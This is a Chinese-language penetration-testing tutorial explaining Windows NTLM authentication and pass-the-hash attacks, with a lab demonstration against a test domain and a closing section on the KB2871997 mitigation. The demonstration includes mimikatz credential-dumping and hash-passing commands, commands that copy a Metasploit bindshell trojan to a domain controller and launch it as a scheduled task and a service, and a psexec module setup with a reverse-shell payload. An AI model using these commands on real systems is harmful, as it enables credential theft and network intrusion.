目录
前言
哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。
在学习哈希传递攻击之前我们先来了解一下其背后的Windows 底层协议和原理。
SSPI 和 SSP
SSPI
SSPI(Security Support Provider Interface),即 安全服务提供接口,这是 Windows 定义的一套接口,该接口定义了与安全有关的功能函数,包含但不限于:
身份验证机制
信息完整性
为其他协议提供的会话安全机制,Session Security 指的是会话安全,即为通讯提供数据完整性校验以及数据的加、解密功能
该接口定义了与安全有关的功能函数,用来获取验证、信息完整性、信息隐私等安全功能,该接口只是定义了一套接口函数,但是并没有实现具体的内容。
SSP
SSP(Security Service Provider),即 安全服务提供,他是 SSPI 的实现者,是对 SSPI 相关功能函数的具体实现。微软自己实现了如下的 SSP,用于提供安全功能:
- NTLM SSP
- Kerberos
- Digest SSP
- Negotiate SSP
- Cred SSP
- Schannel SSP
- Negotiate Extensions SSP
- PKU2U SSP
因为 SSPI 中定义了与 Session Security 有关的 API。所以,基本上层应用利用任何 SSP 与远程的服务进行了身份验证后,此 SSP 都会为本次连接生成一个随机 key。这个 key 往往被称为 Session Key。上层应用在经过身份验证后,可以选择性地使用这个 Key 对之后发往服务端或接收自服务端的数据进行签名或加密。
在系统层面,SSP 就是一个 dll,来实现身份验证等安全功能,实现的身份验证机制是不一样的。比如 NTLM SSP 实现的就是一种 Challenge/Response 验证机制。而 Kerberos SSP 实现的就是基于 ticket 的身份验证机制。我们可以编写自己的 SSP,然后注册到操作系统中,让操作系统支持更多的自定义的身份验证方法。
什么是 Windows 认证 ?
认证就是承认和证明的意思。 就是你能证明你的身份。 比如你要通过网络访问一个受保护的资源,服务器需要认证你的身份。 你可以声称你是系统管理员, 但是你怎么证明你就是系统管理员呢?方法很多,最简单直接的方法就是证明你知道系统管理员的密码。
认证的问题转化为: “你怎么证明你知道你所声称的用户的密码?” 这个问题了。
认证实则就是想对方证明你的身份的一个过程。比如你要通过网络访问一个受保护的资源,服务器需要认证你的身份。 你可以声称你是系统管理员, 但是你怎么证明你就是系统管理员呢?
一个最简单的方法就是让你直接提供所称用户的密码给服务器,然后服务器去数据库里面对比,看你提供的密码对不对。但是这样的认证方式会使密码需要在网络上明文传输,产生的安全问题不言而喻。
那我们便要想办法怎样在不直接提供明文密码的情况下,间接证明你知道密码。
比如两个相互认识的人互相说话,说的都是明文,每一句你都能听懂。他们并没有说自己的密码就相互认证身份了,你听了半天,却不知道密码是什么。 更神奇的是, 他们认证之后,再说的话你就更听不懂了。也就是说这两个人之间协商了某种会话安全,后续的通信都是安全加密的。
在 Windows 中,最常见的两种认证体系便是 NTLM认证和 Kerberos认证了,今天我们便来详细的讲一下 NTLM 认证方式。
LM Hash 和 NTLM Hash
在 Windows 中是不会保存明文密码的,只会保存密码的哈希值。 其中本机用户的密码哈希是放在 本地的 SAM 文件 里面,域内用户的密码哈希是存在域控的 NTDS.dit 文件 里面。在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中导出所有用户的Hash。导出来的哈希经常会看到这样的格式:
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
其中的AAD3B435B51404EEAAD3B435B51404EE
是LM Hash,31D6CFE0D16AE931B73C59D7E0C089C0
是NTLM Hash。
LM Hash
LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。
LM Hash的计算方式如下:
1.用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
2.密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
3.再分7bit为一组,每组末尾加0,再组成一组
4.上步骤得到的二组,分别作为key 为 "
KGS!@#$%
"进行DES加密。5.将加密后的两组拼接在一起,得到最终LM HASH值。
NTLM Hash
为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。
也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储 NTLM Hash,LM Hash 将不再存在。(因此后面我们将不再介绍LM Hash)如果空密码或者不储蓄 LM Hash 的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE
。所以在 Windows 7 中我们看到抓到 LM Hash 都是AAD3B435B51404EEAAD3B435B51404EE
,这里的 LM Hash 已经没有任何价值了。
LM Hash的计算方式如下:
1.先将用户密码转换为十六进制格式。
2.将十六进制格式的密码进行Unicode编码。
3.使用MD4摘要算法对Unicode编码数据进行Hash计算
NTLM认证
NTLM认证是一种 Challenge/Response 挑战响应验证机制,由三种消息组成:
- type 1(协商,Negotiate)
- type 2(挑战,Challenge)
- type 3(响应,Response)
NTLM v1和NTLM v2的区别
NTLM 有 NTLMv1 、NTLMv2 、NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本。
NTLMv1 与NTLMv2 最显著的区别就是 Challenge 与加密算法不同,共同之处就是都是使用的 NTLM Hash 。
Challenge:
- NTLM v1: 8字节
- NTLM v2:16字节
Net NTLM Hash:
- NTLM v1:DES加密算法
- NTLM v2: HMAC-MD5加密算法
NTLM v1:
NTLM v1是将 16字节的NTLM hash空填充为21个字节,然后分成三组,每组7比特,作为3DES加密算法的三组密钥,加密Server发来的Challenge。 将这三个密文值连接起来得到response。
NTLM v2:
将Unicode后的大写用户名与Unicode后的身份验证目标(在Type 3消息的"TargetName"字段中指定的域或服务器名称)拼在一起。请注意,用户名将转换为大写,而身份验证目标区分大小写,并且必须与“TargetName”字段中显示的大小写匹配。使用16字节NTLM哈希作为密钥,得到一个值。
构建一个blob信息
使用16字节NTLMv2哈希作为密钥,将HMAC-MD5消息认证代码算法加密一个值(来自type 2的Challenge与Blob拼接在一起)。得到一个16字节的NTProofStr。
将NTProofStr与Blob拼接起来形成得到response。
至于选择哪个版本的响应由LmCompatibilityLevel决定。
Net-ntlm hash v1的格式为:username::hostname:LM response:NTLM response:challenge
Net-ntlm hash v2的格式为:username::domain:challenge:HMAC-MD5:blob
LmCompatibilityLeve
此安全设置确定网络登录使用的质询/响应身份验证协议。此选项会影响客户端使用的身份验证协议的等级、协商的会话安全的等级以及服务器接受的身份验证的等级,其设置值如下:
- 发送 LM NTLM 响应: 客户端使用 LM 和 NTLM 身份验证,而决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 发送 LM & NTLM - 如果协商一致,则使用 NTLMv2 会话安全: 客户端使用 LM 和 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 仅发送 NTLM 响应: 客户端仅使用 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 仅发送 NTLMv2 响应: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 仅发送 NTLMv2 响应\\拒绝 LM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM (仅接受 NTLM 和 NTLMv2 身份验证)。
- 仅发送 NTLMv2 响应\\拒绝 LM & NTLM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM 和 NTLM (仅接受 NTLMv2 身份验证)。
默认值:
- Windows 2000 以及 Windows XP: 发送 LM & NTLM 响应
- Windows Server 2003: 仅发送 NTLM 响应
- Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2及以上: 仅发送 NTLMv2 响应
NTLM 身份验证
Windows 的 NTLM 认证就是利用 NTLM Hash 进行的认证,可以分为 本地认证 和 网络认证 两种方式。NTLM 的网络认证,既可用于域内的认证服务,又可用于工作组环境。NTLM 有 NTLMv1 、NTLMv2 、NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本。
NTLM 本地认证
本地登录时,用户的密码存储在 %SystemRoot%\\system32\\config\\SAM 这个文件里。当用户输入密码进行本地认证的过程中,所有的操作都是在本地进行的。他其实就是将用户输入的密码转换为NTLM Hash,然后与SAM中的NTLM Hash进行比较。当用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面,也就是输入框。当winlogon.exe接收输入后,将密码交给lsass进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库比较认证。(winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出。lsass进程用于微软Windows系统的安全机制。它用于本地安全和登陆策略。)
NTLM 在工作组环境中的认证
NTLM 在网络环境中的认证采用的是一种 Challenge/Response 验证机制,由三种消息组成:
type 1:协商
type 2:质询
type 3:身份验证
下面详细介绍一下 NTLM 在工作组环境中的工作机制。
(1)首先,如果客户端需要访问服务器的某个服务是需要进行身份认证的。于是,客户端要输入服务器的用户名和密码进行验证,此时客户端本地会缓存一份服务器密码的 NTLM Hash 值。客户端发送 TYPE 1 Negotiate协商消息去协商需要认证的主体,用户(服务器端的用户名),机器以及需要使用的安全服务等信息。
(2)服务端接收到客户端发送过来的 TYPE 1 消息后,会读取其中的内容,并从中选择出自己所能接受的服务内容,加密等级,安全服务等。然后传入 NTLM SSP,得到 TYPE 2 Challenge消息(被称为 Challenge 挑战消息),并将此 TYPE 2 消息发回给客户端。这个 TYPE 2 消息中包含了一个由服务端生成的16位随机值,此随机值被称为 Challenge,服务器也会将该 Challenge 保存起来。
(3)客户端收到服务端返回的 TYPE 2 消息后, 会读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的 NTLM-Hash 对其进行加密,并与用户名、Challenge 等一起组合得到 Net-NTLMHash,最后将 Net NTLM-Hash封装到 TYPE 3 Authenticate消息中(被称为 Authenticate 认证消息),发往服务端。
(4)服务器在收到 TYPE 3 的消息之后,用自己的密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。
NTLM 在域环境中的认证
NTLM 在域环境中的认证的前三步与NTLM 在工作组环境中的认证是一样的,不同的地方开始出现在第四步:
(1)首先,如果客户端需要访问服务器的某个服务是需要进行身份认证的。于是,客户端要输入服务器的用户名和密码进行验证,此时客户端本地会缓存一份服务器密码的 NTLM Hash 值。客户端发送 TYPE 1 Negotiate协商消息去协商需要认证的主体,用户(服务器端的用户名),机器以及需要使用的安全服务等信息。
(2)服务端接收到客户端发送过来的 TYPE 1 消息后,会读取其中的内容,并从中选择出自己所能接受的服务内容,加密等级,安全服务等。然后传入 NTLM SSP,得到 TYPE 2 Challenge消息(被称为 Challenge 挑战消息),并将此 TYPE 2 消息发回给客户端。这个 TYPE 2 消息中包含了一个由服务端生成的16位随机值,此随机值被称为 Challenge,服务器也会将该 Challenge 保存起来。
(3)客户端收到服务端返回的 TYPE 2 消息后, 会读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的 NTLM-Hash 对其进行加密,并与用户名、Challenge 等一起组合得到 Net-NTLMHash,最后将 Net NTLM-Hash封装到 TYPE 3 Authenticate消息中(被称为 Authenticate 认证消息),发往服务端。
(4)服务器接收到客户端发送来的 TYPE 3消息后,取出其中的 Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求主要包含以下三方面的内容:用户名(服务器端的用户名)、原始的 Challenge 和 加密后的 Challenge(即Net NTLM-Hash)。
(5)然后域控制器会根据用户名获取该帐号的密码哈希值 NTLM Hash,用哈希值对原始的 Challenge 进行加密得到 Net NTLM-Hash。如果加密后的 Challenge 和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。并将验证结果发给服务器。
(6)服务器根据域控制器返回的结果,对客户端进行回复。
NTLM 认证的相关安全问题
NTLM 认证固然存在不少安全问题,大体有以下几种:
哈希传递攻击
利用 NTLM 进行内网信息收集
NTLM Relay
本文就先从最令人熟知的哈希传递攻击说起。
哈希传递攻击(PTH)
哈希传递(Pass The Hash)攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在 Windows 系统 NTLM 认证的 TYPE 3 消息计算 Response 的时候,客户端是使用用户的 NTLM Hash 进行计算的,而不是用户密码进行计算的。因此在模拟用户登录或对访问资源的用户进行身份认证的时候,是不需要用户明文密码的,只需要用户 Hash。攻击者可以利用 NTLM HASH 直接远程登录目标主机或反弹 Shell。
在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域环境或工作组环境。
哈希传递攻击适用情况
在工作组环境中:
- Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
- Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
- 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
实验背景:
下面,我们以下图所示的环境来具体演示哈希传递攻击(PTH)的方法。
如图中,右侧是一个内网环境,域名为god,有三台机器:Windows 7、Windows Server 2008、Windows Server 2003,其中Windows 7和Windows Server 2003都可以上网但没有公网IP。攻击者使用公网 vps。
Windows Server 2008(192.168.52.138)为域控制器(机器名为OWA),假设我们攻击者已经获得了Windows 7域成员主机的控制权,需要进一步横向渗透去拿下Windows Server 2003和域控。
使用 Mimikatz 进行 PTH
下面演示哈希传递攻击的方法(需要管理员权限):
首先,攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:
privilege::debug
sekurlsa::logonpasswords
如上图,成功抓取到域管理员的NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63
然后,在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:密码哈希
成功,此时会自动弹出一个新的cmd窗口,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录:
我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行:
copy bindshell.exe \\OWA\c$ // 将msf木马bindshell.exe复制到目标机器上
schtasks /create /tn "shell" /tr C:\bindshell.exe /sc MINUTE /s 192.168.52.138 // 在域控上创建shell计划任务,开机时启动c盘下bindshell.exeschtasks /run /s 192.168.52.138 /i /tn "shell" // 在域控上立即启动该计划任务sc \\OWA create bindshell binpath= "c:\bindshell.exe" // 在域控上创建服务启动木马sc \\OWA start bindshell // 在域控上立即启动该服务
注意,哈希传递攻击要注意一下几点:
dir命令后面要使用主机名,不能用IP,否则报错
使用mimikatz进行哈希传递要具有本地管理员权限
使用Metasploit进行PTH
Metasploit中有三个哈希传递攻击的模块,分别是:
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload
以exploit/windows/smb/psexec模块哈希传递攻击Windows Server 2003为例(设置smbuser、smbpass、smbdomain)
可以看到,该模块默认使用也仅能使用windows/meterpreter/reverse_tcp作为payload,其为反向的shell,这也就决定了,我们进行哈希传递攻击的目标主机(Windows Server 2003)必须能上网。
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set smbuser administrator
set smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 # 完整的Administrator用户的Hash
set smbdomain god
run
如上图,攻击成功,得到Windows Server 2003的shell。注意这里的smbpass选项,其可以为明文密码,也可以为Hash,但Hash必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代替。不要忘了设置通向内网的路由或者代理。
哈希传递攻击的预防
微软在2014年5月13日发布了针对Pass The Hash的更新补丁KB2871997和针对GPP(Group Policy Preference)组策略首选项漏洞的更新补丁 KB2928120 。其中KB2871997补丁标题为`"Update to fix the Pass-The-Hash Vulnerability",`而在一周后却把标题改成了`"Update to improve credentials protection and management"`。事实上,这个补丁不仅能够缓解PTH,还能阻止mimikatz 抓取明文密码。KB2871997 补丁将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:攻击者无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等,但是SID=500的用户不受影响!
在实际测试中,更新KB2871997之后,使用普通管理员账号无法使用常规的哈希传递方法进行横向移动,但 administrator(SID=500) 账号例外,使用该账号的散列值依然可以进行哈希传递攻击。这里需要强调的是 SID=500 的账号。即使将administrator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行哈希传递攻击,就不会受到KB2871997的影响。如果是域环境,在本地管理员组中的域用户均能使用PTH攻击,不受该补丁影响。